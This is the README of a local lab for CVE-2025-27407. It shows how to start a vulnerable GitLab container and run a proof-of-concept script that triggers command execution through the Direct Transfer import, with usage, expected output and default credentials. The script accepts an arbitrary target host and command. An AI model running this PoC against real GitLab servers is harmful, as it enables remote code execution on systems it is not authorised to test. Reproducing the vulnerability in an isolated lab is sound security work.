
Minimal local-only lab for proving the GitLab Direct Transfer HTTP path reaches the vulnerable graphql-ruby introspection schema loader. The lab runs one vulnerable GitLab CE container; the PoC script starts its fake GitLab source server in-process only while testing.
Only run this against systems you own or are explicitly authorized to test.
| File | Purpose |
|---|---|
lab.sh | Starts, waits, verifies, and cleans up the GitLab lab. |
poc_host_port_cmd.py | One-shot PoC: fake source server + GitLab login/configure/import trigger. |
podmancurlDefault values:
Port 8080 is the script default. If something else already uses it, use 18080 as shown here.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Open GitLab at:
http://127.0.0.1:18080
Login credentials:
root / Cve27407Password!
root is only the default lab user. The PoC trigger does not require an admin account; any authenticated user that can create/import into a destination namespace can hit the vulnerable Direct Transfer path. Use --username and --password to test with a non-admin user.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Expected signals:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 is busy, use GITLAB_HTTP_PORT=18080 for ./lab.sh up.--listen-port to an unused port.--wait-seconds or rerun MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup and start again../lab.sh cleanup
This removes the GitLab container, any legacy fake-source container from older lab versions, and the lab network. It does not remove downloaded Podman images.
| Item | Default |
|---|
| GitLab image | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab container | cve-27407-gitlab |
| Podman network | cve-2025-27407-net |
| GitLab root user | root |
| GitLab root password | Cve27407Password! |
| Marker | /tmp/cve_2025_27407_gitlab_marker |
| Option | Purpose | Default |
|---|
--host | GitLab host to target | Required |
--port | GitLab HTTP port to target | Required |
--cmd | Command executed in the GitLab runtime | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Local fake source server port | 8001 |
--wait-seconds | Time to keep fake source alive for async GitLab workers | 90 |
--username | GitLab username | root |
--password | GitLab password | Cve27407Password! |
| Variable | Purpose | Default |
|---|
GITLAB_HTTP_PORT | Host/container GitLab HTTP port | 8080 |
GITLAB_SSH_PORT | Host GitLab SSH port | 2224 |
GITLAB_ROOT_PASSWORD | Initial root password | Cve27407Password! |
GITLAB_IMAGE | GitLab image to run | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Podman network name | cve-2025-27407-net |
MARKER | File checked inside GitLab container | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Readiness wait timeout | 1200 |